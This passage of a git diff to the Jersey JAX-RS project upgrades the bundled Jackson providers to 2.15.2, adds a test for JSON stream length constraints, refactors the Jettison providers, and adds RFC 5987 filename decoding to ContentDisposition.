+ * Package that contains annotations applicable to all content types.
+ * Currently defined are:
+ *<ul>
+ * <li>{@link org.glassfish.jersey.jackson.internal.jackson.jaxrs.annotation.JacksonFeatures} allows
+ *   enabling and/or disabling {@link com.fasterxml.jackson.databind.DeserializationFeature}s
+ *   and {@link com.fasterxml.jackson.databind.SerializationFeature}s for individual
+ *   endpoints.
+ *  </li>
+ * </ul>
+ */
+package org.glassfish.jersey.jackson.internal.jackson.jaxrs.annotation;
diff --git a/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/base/ProviderBase.java b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/base/ProviderBase.java
index ae76ca4..ecdfbae 100644
--- a/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/base/ProviderBase.java
+++ b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/base/ProviderBase.java
@@ -486,6 +486,9 @@
         } else {
             r = mapper.reader();
         }
+        if (JaxRSFeature.READ_FULL_STREAM.enabledIn(_jaxRSFeatures)) {
+            r = r.withFeatures(DeserializationFeature.FAIL_ON_TRAILING_TOKENS);
+        }
         return _configForReading(r, annotations);
     }
 
@@ -703,19 +706,14 @@
             return _configForWriting(locateMapper(type, mediaType), annotations, _defaultWriteView);
         }
 
-        EP_CONFIG endpoint;
         AnnotationBundleKey key = new AnnotationBundleKey(annotations, type);
-        synchronized (_writers) {
-            endpoint = _writers.get(key);
-        }
+        EP_CONFIG endpoint = _writers.get(key);
         // not yet resolved (or not cached any more)? Resolve!
         if (endpoint == null) {
             MAPPER mapper = locateMapper(type, mediaType);
             endpoint = _configForWriting(mapper, annotations, _defaultWriteView);
             // and cache for future reuse
-            synchronized (_writers) {
-                _writers.put(key.immutableKey(), endpoint);
-            }
+            _writers.put(key.immutableKey(), endpoint);
         }
         return endpoint;
     }
@@ -864,19 +862,14 @@
             return _configForReading(locateMapper(type, mediaType), annotations, _defaultReadView);
         }
 
-        EP_CONFIG endpoint;
         AnnotationBundleKey key = new AnnotationBundleKey(annotations, type);
-        synchronized (_readers) {
-            endpoint = _readers.get(key);
-        }
+        EP_CONFIG endpoint = _readers.get(key);
         // not yet resolved (or not cached any more)? Resolve!
         if (endpoint == null) {
             MAPPER mapper = locateMapper(type, mediaType);
             endpoint = _configForReading(mapper, annotations, _defaultReadView);
             // and cache for future reuse
-            synchronized (_readers) {
-                _readers.put(key.immutableKey(), endpoint);
-            }
+            _readers.put(key.immutableKey(), endpoint);
         }
         return endpoint;
     }
diff --git a/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/cfg/JaxRSFeature.java b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/cfg/JaxRSFeature.java
index 524a881..6f864c9 100644
--- a/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/cfg/JaxRSFeature.java
+++ b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/cfg/JaxRSFeature.java
@@ -27,6 +27,19 @@
      */
     ALLOW_EMPTY_INPUT(true),
 
+    /**
+     * For HTTP keep-alive or multipart content to work correctly, Jackson must read the entire HTTP input
+     * stream up until reading EOF (-1).
+     * <a href="https://github.com/FasterXML/jackson-jaxrs-providers/issues/108">Issue #108</a>
+     * If set to true, always consume all input content. This has a side-effect of failing on trailing content.
+     *<p>
+     * Feature is enabled by default.
+     * Note that this means that behavior in earlier versions
+     * (2.14 and before) differs from 2.15 and later.
+     *
+     * @since 2.15
+     */
+    READ_FULL_STREAM(true),
     /*
     /**********************************************************
     /* HTTP headers
diff --git a/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/json/PackageVersion.java b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/json/PackageVersion.java
index 86f1fad..c5952b6 100644
--- a/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/json/PackageVersion.java
+++ b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/json/PackageVersion.java
@@ -11,7 +11,7 @@
  */
 public final class PackageVersion implements Versioned {
     public final static Version VERSION = VersionUtil.parseVersion(
-        "2.14.1", "com.fasterxml.jackson.jaxrs", "jackson-jaxrs-json-provider");
+        "2.15.2", "com.fasterxml.jackson.jaxrs", "jackson-jaxrs-json-provider");
 
     @Override
     public Version version() {
diff --git a/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/json/annotation/package-info.java b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/json/annotation/package-info.java
new file mode 100644
index 0000000..04b4892
--- /dev/null
+++ b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/json/annotation/package-info.java
@@ -0,0 +1,9 @@
+/**
+ * Package that contains annotations specific to JSON dataformat.
+ *<p>
+ * NOTE: starting with version 2.2, general-purpose annotations
+ * will be moved to a shared package, and this package will only
+ * contains JSON-specific annotations.
+ */
+package org.glassfish.jersey.jackson.internal.jackson.jaxrs.json.annotation;
+
diff --git a/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/json/package-info.java b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/json/package-info.java
new file mode 100644
index 0000000..2a260b5
--- /dev/null
+++ b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/json/package-info.java
@@ -0,0 +1,21 @@
+/**
+ * Jackson-based JAX-RS provider that can automatically
+ * serialize and deserialize resources for 
+ * JSON content type (MediaType).
+ *<p>
+ * Also continues supporting functionality, such as
+ * exception mappers that can simplify handling of
+ * error conditions.
+ *<p>
+ * There are two default provider classes:
+ *<ul>
+ * <li>{@link org.glassfish.jersey.jackson.internal.jackson.jaxrs.json.JacksonJsonProvider} is the basic
+ *    provider configured to use Jackson annotations
+ *  </li>
+ * <li>{@link org.glassfish.jersey.jackson.internal.jackson.jaxrs.json.JacksonJaxbJsonProvider} is extension
+ *    of the basic provider, configured to additionally use JAXB annotations,
+ *    in addition to (or in addition of, if so configured) Jackson annotations.
+ *  </li>
+ * </ul>
+ */
+package org.glassfish.jersey.jackson.internal.jackson.jaxrs.json;
diff --git a/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/util/package-info.java b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/util/package-info.java
new file mode 100644
index 0000000..4ec091c
--- /dev/null
+++ b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/util/package-info.java
@@ -0,0 +1,4 @@
+/**
+ * Miscellaneous helper classes used by providers.
+ */
+package com.fasterxml.jackson.jaxrs.util;
diff --git a/media/json-jackson/src/main/resources/META-INF/NOTICE.markdown b/media/json-jackson/src/main/resources/META-INF/NOTICE.markdown
index e08c16d..027575c 100644
--- a/media/json-jackson/src/main/resources/META-INF/NOTICE.markdown
+++ b/media/json-jackson/src/main/resources/META-INF/NOTICE.markdown
@@ -31,7 +31,7 @@
 

 ## Third-party Content

 

-Jackson JAX-RS Providers version 2.14.1

+Jackson JAX-RS Providers version 2.15.2

 * License: Apache License, 2.0

 * Project: https://github.com/FasterXML/jackson-jaxrs-providers

-* Copyright: (c) 2009-2022 FasterXML, LLC. All rights reserved unless otherwise indicated.

+* Copyright: (c) 2009-2023 FasterXML, LLC. All rights reserved unless otherwise indicated.

diff --git a/media/json-jackson/src/main/resources/org/glassfish/jersey/jackson/localization.properties b/media/json-jackson/src/main/resources/org/glassfish/jersey/jackson/localization.properties
new file mode 100644
index 0000000..f8b59da
--- /dev/null
+++ b/media/json-jackson/src/main/resources/org/glassfish/jersey/jackson/localization.properties
@@ -0,0 +1,17 @@
+#
+# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+#
+# This program and the accompanying materials are made available under the
+# terms of the Eclipse Public License v. 2.0, which is available at
+# http://www.eclipse.org/legal/epl-2.0.
+#
+# This Source Code may also be made available under the following Secondary
+# Licenses when the conditions for such availability set forth in the
+# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+# version 2 with the GNU Classpath Exception, which is available at
+# https://www.gnu.org/software/classpath/license.html.
+#
+# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+#
+
+error.jackson.streamreadconstraints=Error setting StreamReadConstraints: {0}. Possibly not Jackson 2.15?
\ No newline at end of file
diff --git a/media/json-jackson/src/test/java/org/glassfish/jersey/jackson/internal/StreamReadConstrainsTest.java b/media/json-jackson/src/test/java/org/glassfish/jersey/jackson/internal/StreamReadConstrainsTest.java
new file mode 100644
index 0000000..925c17e
--- /dev/null
+++ b/media/json-jackson/src/test/java/org/glassfish/jersey/jackson/internal/StreamReadConstrainsTest.java
@@ -0,0 +1,212 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jackson.internal;
+
+import com.fasterxml.jackson.annotation.JsonGetter;
+import com.fasterxml.jackson.core.JsonFactory;
+import com.fasterxml.jackson.core.StreamReadConstraints;
+import com.fasterxml.jackson.core.exc.StreamConstraintsException;
+import com.fasterxml.jackson.databind.JsonNode;
+import com.fasterxml.jackson.databind.Module;
+import com.fasterxml.jackson.databind.ObjectMapper;
+import com.fasterxml.jackson.databind.node.TextNode;
+import jakarta.ws.rs.Consumes;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.ext.ContextResolver;
+import jakarta.ws.rs.ext.ExceptionMapper;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.jackson.JacksonFeature;
+import org.glassfish.jersey.message.MessageProperties;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+import java.lang.reflect.Method;
+import java.util.List;
+
+public class StreamReadConstrainsTest extends JerseyTest {
+
+    @Override
+    protected final Application configure() {
+        return new ResourceConfig(TestLengthResource.class,
+                MyStreamReadConstraints.class,
+                MyStreamReadConstraintsExceptionMapper.class);
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.register(JacksonFeature.class);
+    }
+
+    @Test
+    void testNumberLength() {
+        try (Response response = target("len/entity").request()
+                .header(HttpHeaders.CONTENT_TYPE, MediaType.APPLICATION_JSON)
+                .accept(MediaType.APPLICATION_JSON_TYPE)
+                .post(Entity.entity(new MyEntity(3), MediaType.APPLICATION_JSON_TYPE))) {
+            Assertions.assertEquals(200, response.getStatus());
+            JsonNode entity = response.readEntity(JsonNode.class);
+            Assertions.assertEquals("1234", entity.get("value").asText());
+        }
+
+        try (Response response = target("len/entity").request()
+                .post(Entity.entity(new MyEntity(8), MediaType.APPLICATION_JSON_TYPE))) {
+            Assertions.assertEquals(200, response.getStatus());
+            String errorMsg = response.readEntity(String.class);
+            Assertions.assertTrue(errorMsg.contains("maximum length (4)"));
+        }
+    }
+
+    @Test
+    void testStringLengthUsingProperty() {
+        testConstraintOnClient(
+                client()
+                        .property(MessageProperties.JSON_MAX_STRING_LENGTH, 4)
+                        .target(getBaseUri())
+                        .path("len/strlen"),
+                4
+        );
+    }
+
+    @Test
+    void testStringLengthPriorityProperty() {
+        testConstraintOnClient(
+                ClientBuilder.newClient()
+                    .register(JacksonFeature.withExceptionMappers().maxStringLength(30))
+                    .property(MessageProperties.JSON_MAX_STRING_LENGTH, "3" /* check string value */)
+                    .target(getBaseUri()).path("len/strlen"),
+                3);
+    }
+
+    @Test
+    void testStringLengthUsingFeature() {
+        testConstraintOnClient(
+                ClientBuilder.newClient()
+                        .register(JacksonFeature.withExceptionMappers().maxStringLength(3))
+                        .target(getBaseUri())
+                        .path("len/strlen"),
+                3
+        );
+    }
+
+    void testConstraintOnClient(WebTarget target, int expectedLength) {
+        try (Response response = target.request().post(Entity.entity(expectedLength + 1, MediaType.APPLICATION_JSON_TYPE))) {
+            Assertions.assertEquals(200, response.getStatus());
+
+            JsonNode errorMsg = response.readEntity(JsonNode.class);
+            Assertions.fail("StreamConstraintsException has not been thrown");
+        } catch (ProcessingException ex) {
+            if (!StreamConstraintsException.class.isInstance(ex.getCause())) {
+                throw ex;
+            }
+            String errorMsg = ex.getCause().getMessage();
+            Assertions.assertTrue(errorMsg.contains("maximum length (" + String.valueOf(expectedLength) + ")"));
+        }
+    }
+
+
+
+    @Test
+    void testStreamReadConstraintsMethods() {
+        String message = "There are additional methods in Jackson's StreamReaderConstraints.Builder."
+                + " Please update the code in " + DefaultJacksonJaxbJsonProvider.class.getName()
+                + " updateFactoryConstraints method";
+        Method[] method = StreamReadConstraints.Builder.class.getDeclaredMethods();
+        Assertions.assertEquals(4, method.length, message); // three max + build methods
+    }
+
+    @Path("len")
+    public static class TestLengthResource {
+        @POST
+        @Path("number")
+        @Produces(MediaType.APPLICATION_JSON)
+        public MyEntity number(int len) {
+            return new MyEntity(len);
+        }
+
+        @POST
+        @Path("strlen")
+        @Produces(MediaType.APPLICATION_JSON)
+        public JsonNode string(int len) {
+            return new TextNode(String.valueOf(new MyEntity(len).getValue()));
+        }
+
+
+        @POST
+        @Path("entity")
+        @Produces(MediaType.APPLICATION_JSON)
+        @Consumes(MediaType.APPLICATION_JSON)
+        public MyEntity number(MyEntity entity) {
+            return new MyEntity(4);
+        }
+    }
+
+    static class MyEntity {
+
+        private int value;
+
+        // For Jackson
+        MyEntity() {
+        }
+
+        MyEntity(int length) {
+            int val = 0;
+            for (int i = 1, j = 1; i != length + 1; i++, j++) {
+                if (j == 10) {
+                    j = 0;
+                }
+                val = 10 * val + j;
+            }
+            this.value = val;
+        }
+
+        @JsonGetter("value")
+        public int getValue() {
+            return value;
+        }
+    }
+
+    static class MyStreamReadConstraintsExceptionMapper implements ExceptionMapper<StreamConstraintsException> {
+
+        @Override
+        public Response toResponse(StreamConstraintsException exception) {
+            return Response.ok().entity(exception.getMessage()).build();
+        }
+    }
+
+    static class MyStreamReadConstraints implements ContextResolver<ObjectMapper> {
+
+        @Override
+        public ObjectMapper getContext(Class<?> type) {
+            final List<Module> modules = ObjectMapper.findModules();
+            return new ObjectMapper(JsonFactory.builder().streamReadConstraints(
+                    StreamReadConstraints.builder().maxNumberLength(4).build()
+            ).build()).registerModules(modules);
+        }
+    }
+}
diff --git a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonArrayProvider.java b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonArrayProvider.java
index 119ebd2..1a15641 100644
--- a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonArrayProvider.java
+++ b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonArrayProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -33,6 +33,7 @@
 
 import org.codehaus.jettison.json.JSONArray;
 import org.codehaus.jettison.json.JSONException;
+import org.glassfish.jersey.message.internal.ReaderWriter;
 
 /**
  * Low-level JSON media type message entity provider (reader & writer) for
@@ -70,7 +71,7 @@
             MultivaluedMap<String, String> httpHeaders,
             InputStream entityStream) throws IOException {
         try {
-            return new JSONArray(readFromAsString(entityStream, mediaType));
+            return new JSONArray(ReaderWriter.readFromAsString(entityStream, mediaType));
         } catch (JSONException je) {
             throw new WebApplicationException(
                     new Exception(LocalizationMessages.ERROR_PARSING_JSON_ARRAY(), je),
@@ -89,7 +90,7 @@
             OutputStream entityStream) throws IOException {
         try {
             OutputStreamWriter writer = new OutputStreamWriter(entityStream,
-                    getCharset(mediaType));
+                    ReaderWriter.getCharset(mediaType));
             t.write(writer);
             writer.write("\n");
             writer.flush();
diff --git a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonJaxbElementProvider.java b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonJaxbElementProvider.java
index 554feff..4e7d7d7 100644
--- a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonJaxbElementProvider.java
+++ b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonJaxbElementProvider.java
@@ -40,6 +40,7 @@
 import org.glassfish.jersey.jaxb.internal.AbstractJaxbElementProvider;
 import org.glassfish.jersey.jettison.JettisonJaxbContext;
 import org.glassfish.jersey.jettison.JettisonMarshaller;
+import org.glassfish.jersey.message.internal.ReaderWriter;
 
 /**
  * JSON message entity media type provider (reader & writer) for {@link jakarta.xml.bind.JAXBElement}
@@ -95,7 +96,7 @@
     @Override
     protected final JAXBElement<?> readFrom(Class<?> type, MediaType mediaType, Unmarshaller unmarshaller,
                                             InputStream entityStream) throws JAXBException {
-        final Charset c = getCharset(mediaType);
+        final Charset c = ReaderWriter.getCharset(mediaType);
 
         return JettisonJaxbContext.getJSONUnmarshaller(unmarshaller)
                 .unmarshalJAXBElementFromJSON(new InputStreamReader(entityStream, c), type);
diff --git a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonListElementProvider.java b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonListElementProvider.java
index 15799fd..e1c3dbd 100644
--- a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonListElementProvider.java
+++ b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonListElementProvider.java
@@ -47,6 +47,7 @@
 import org.glassfish.jersey.jettison.JettisonConfig;
 import org.glassfish.jersey.jettison.JettisonConfigured;
 import org.glassfish.jersey.jettison.internal.Stax2JettisonFactory;
+import org.glassfish.jersey.message.internal.ReaderWriter;
 
 /**
  * JSON message entity media type provider (reader & writer) for collection
@@ -132,7 +133,7 @@
     protected final XMLStreamReader getXMLStreamReader(Class<?> elementType, MediaType mediaType, Unmarshaller u,
                                                        InputStream entityStream) throws XMLStreamException {
         JettisonConfig c = JettisonConfig.DEFAULT;
-        final Charset charset = getCharset(mediaType);
+        final Charset charset = ReaderWriter.getCharset(mediaType);
         if (u instanceof JettisonConfigured) {
             c = ((JettisonConfigured) u).getJSONConfiguration();
         }
diff --git a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonObjectProvider.java b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonObjectProvider.java
index 7cb26ed..2f4eaec 100644
--- a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonObjectProvider.java
+++ b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonObjectProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -33,6 +33,7 @@
 
 import org.codehaus.jettison.json.JSONException;
 import org.codehaus.jettison.json.JSONObject;
+import org.glassfish.jersey.message.internal.ReaderWriter;
 
 /**
  * Low-level JSON media type message entity provider (reader & writer) for
@@ -70,7 +71,7 @@
             MultivaluedMap<String, String> httpHeaders,
             InputStream entityStream) throws IOException {
         try {
-            return new JSONObject(readFromAsString(entityStream, mediaType));
+            return new JSONObject(ReaderWriter.readFromAsString(entityStream, mediaType));
         } catch (JSONException je) {
             throw new WebApplicationException(
                     new Exception(LocalizationMessages.ERROR_PARSING_JSON_OBJECT(), je),
@@ -89,7 +90,7 @@
             OutputStream entityStream) throws IOException {
         try {
             OutputStreamWriter writer = new OutputStreamWriter(entityStream,
-                    getCharset(mediaType));
+                    ReaderWriter.getCharset(mediaType));
             t.write(writer);
             writer.flush();
         } catch (JSONException je) {
diff --git a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonRootElementProvider.java b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonRootElementProvider.java
index a581ca8..cdbec6a 100644
--- a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonRootElementProvider.java
+++ b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/entity/JettisonRootElementProvider.java
@@ -39,6 +39,7 @@
 import org.glassfish.jersey.jaxb.internal.AbstractRootElementJaxbProvider;
 import org.glassfish.jersey.jettison.JettisonJaxbContext;
 import org.glassfish.jersey.jettison.JettisonMarshaller;
+import org.glassfish.jersey.message.internal.ReaderWriter;
 
 /**
  * JSON message entity media type provider (reader & writer) for JAXB types that
@@ -94,7 +95,7 @@
     @Override
     protected final Object readFrom(Class<Object> type, MediaType mediaType, Unmarshaller u,
                                     InputStream entityStream) throws JAXBException {
-        final Charset c = getCharset(mediaType);
+        final Charset c = ReaderWriter.getCharset(mediaType);
 
         return JettisonJaxbContext.getJSONUnmarshaller(u)
                 .unmarshalFromJSON(new InputStreamReader(entityStream, c), type);
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/ContentDisposition.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/ContentDisposition.java
index 3d71203..f95d521 100644
--- a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/ContentDisposition.java
+++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/ContentDisposition.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,10 +23,13 @@
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
+import org.glassfish.jersey.media.multipart.internal.LocalizationMessages;
 import org.glassfish.jersey.message.internal.HttpDateFormat;
 import org.glassfish.jersey.message.internal.HttpHeaderReader;
 import org.glassfish.jersey.uri.UriComponent;
 
+import jakarta.ws.rs.core.HttpHeaders;
+
 /**
  * A content disposition header.
  *
@@ -43,6 +46,7 @@
     private Date modificationDate;
     private Date readDate;
     private long size;
+    private boolean encoded; // received encoded by filename*=
 
     private static final String CHARSET_GROUP_NAME = "charset";
     private static final String CHARSET_REGEX = "(?<" + CHARSET_GROUP_NAME + ">[^']+)";
@@ -65,6 +69,7 @@
         this.readDate = readDate;
         this.size = size;
         this.parameters = Collections.emptyMap();
+        this.encoded = false;
     }
 
     public ContentDisposition(final String header) throws ParseException {
@@ -110,12 +115,23 @@
     }
 
     /**
-     * Get the filename parameter.
+     * Get the filename parameter. Automatically decodes RFC 5987 extended filename*= to be human-readable.
      *
-     * @return the size
+     * @return the file name
      */
     public String getFileName() {
-        return fileName;
+        return getFileName(true);
+    }
+
+    /**
+     * Get the filename parameter. If the RFC 5987 extended filename*= is received in Content-Disposition, its encoded
+     * value can be decoded to be human-readable.
+     *
+     * @param decodeExtended decode the filename* to be human-readable when {@code true}
+     * @return the filename or the RFC 5987 extended filename
+     */
+    public String getFileName(boolean decodeExtended) {
+        return encoded && decodeExtended ? decodeFromUriFormat(fileName) : fileName;
     }
 
     /**
@@ -196,7 +212,7 @@
     }
 
     private void createParameters() throws ParseException {
-        fileName = defineFileName();
+        defineFileName();
 
         creationDate = createDate("creation-date");
 
@@ -207,46 +223,59 @@
         size = createLong("size");
     }
 
-    private String defineFileName() throws ParseException {
-
+    private void defineFileName() throws ParseException {
+        encoded = false;
         final String fileName = parameters.get("filename");
         final String fileNameExt = parameters.get("filename*");
 
         if (fileNameExt == null) {
-            return fileName;
+            this.fileName = fileName;
+            return;
         }
 
         final Matcher matcher = FILENAME_EXT_VALUE_PATTERN.matcher(fileNameExt);
 
         if (matcher.matches()) {
+            encoded = true;
 
             final String fileNameValueChars = matcher.group(FILENAME_GROUP_NAME);
             if (isFilenameValueCharsEncoded(fileNameValueChars)) {
-                return fileNameExt;
-            }
-
-            final String charset = matcher.group(CHARSET_GROUP_NAME);
-            if (matcher.group(CHARSET_GROUP_NAME).equalsIgnoreCase("UTF-8")) {
-                final String language = matcher.group(LANG_GROUP_NAME);
-                return new StringBuilder(charset)
-                        .append("'")
-                        .append(language == null ? "" : language)
-                        .append("'")
-                        .append(encodeToUriFormat(fileNameValueChars))
-                        .toString();
+                this.fileName = fileNameExt;
             } else {
-                throw new ParseException(charset + " charset is not supported", 0);
-            }
-        }
 
-        throw new ParseException(fileNameExt + " - unsupported filename parameter", 0);
+                final String charset = matcher.group(CHARSET_GROUP_NAME);
+                if (charset.equalsIgnoreCase("UTF-8")) {
+                    final String language = matcher.group(LANG_GROUP_NAME);
+                    this.fileName = new StringBuilder(charset)
+                            .append("'")
+                            .append(language == null ? "" : language)
+                            .append("'")
+                            .append(encodeToUriFormat(fileNameValueChars))
+                            .toString();
+                } else {
+                    throw new ParseException(LocalizationMessages.ERROR_CHARSET_UNSUPPORTED(charset), 0);
+                }
+            }
+        } else {
+            throw new ParseException(LocalizationMessages.ERROR_FILENAME_UNSUPPORTED(fileNameExt), 0);
+        }
     }
 
-    private String encodeToUriFormat(final String parameter) {
+    private static String decodeFromUriFormat(String parameter) {
+        final Matcher matcher = FILENAME_EXT_VALUE_PATTERN.matcher(parameter);
+        if (matcher.matches()) {
+            final String fileNameValueChars = matcher.group(FILENAME_GROUP_NAME);
+            return UriComponent.decode(fileNameValueChars, UriComponent.Type.UNRESERVED);
+        } else {
+            return parameter;
+        }
+    }
+
+    private static String encodeToUriFormat(final String parameter) {
         return UriComponent.contextualEncode(parameter, UriComponent.Type.UNRESERVED);
     }
 
-    private boolean isFilenameValueCharsEncoded(final String parameter) {
+    private static boolean isFilenameValueCharsEncoded(final String parameter) {
         return FILENAME_VALUE_CHARS_PATTERN.matcher(parameter).matches();
     }
 
diff --git a/media/multipart/src/main/resources/org/glassfish/jersey/media/multipart/internal/localization.properties b/media/multipart/src/main/resources/org/glassfish/jersey/media/multipart/internal/localization.properties
index 851c026..8a7b4ba 100644
--- a/media/multipart/src/main/resources/org/glassfish/jersey/media/multipart/internal/localization.properties
+++ b/media/multipart/src/main/resources/org/glassfish/jersey/media/multipart/internal/localization.properties
@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2012, 2018 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
 #
 # This program and the accompanying materials are made available under the
 # terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,6 +16,8 @@
 
 cannot.inject.file=Cannot provide file for an entity body part.
 entity.has.wrong.type=Entity instance does not contain the unconverted content.
+error.charset.unsupported={0} charset is not supported.
+error.filename.unsupported=Unsupported filename parameter {0}. 
 error.parsing.content.disposition=Error parsing content disposition: {0}
 error.reading.entity=Error reading entity as {0}.
 form.data.multipart.cannot.change.mediatype=Cannot change media type of a FormDataMultiPart instance.
diff --git a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartHeaderModificationTest.java b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartHeaderModificationTest.java
index 06222b9..4a7ff89 100644
--- a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartHeaderModificationTest.java
+++ b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartHeaderModificationTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -64,7 +64,7 @@
         return Arrays.asList(new Object[][] {
                 {new HttpUrlConnectorProvider(), false},
                 {new GrizzlyConnectorProvider(), true},
-                {new JettyConnectorProvider(), true},
+                {new JettyConnectorProvider(), false},
                 {new ApacheConnectorProvider(), true},
         });
     }
diff --git a/pom.xml b/pom.xml
index 9262fe4..627f3ed 100644
--- a/pom.xml
+++ b/pom.xml
@@ -473,7 +473,7 @@
                         <doctitle>Jersey ${jersey.version} API Documentation</doctitle>
                         <windowtitle>Jersey ${jersey.version} API</windowtitle>
                         <bottom>
-                            <![CDATA[Copyright &#169; 2007-2021,
+                            <![CDATA[Copyright &#169; 2007-2023,
                                 <a href="http://www.oracle.com">Oracle</a>
                                 and/or its affiliates.
                                 All Rights Reserved. Use is subject to license terms.]]>
@@ -481,10 +481,15 @@
                         <links>
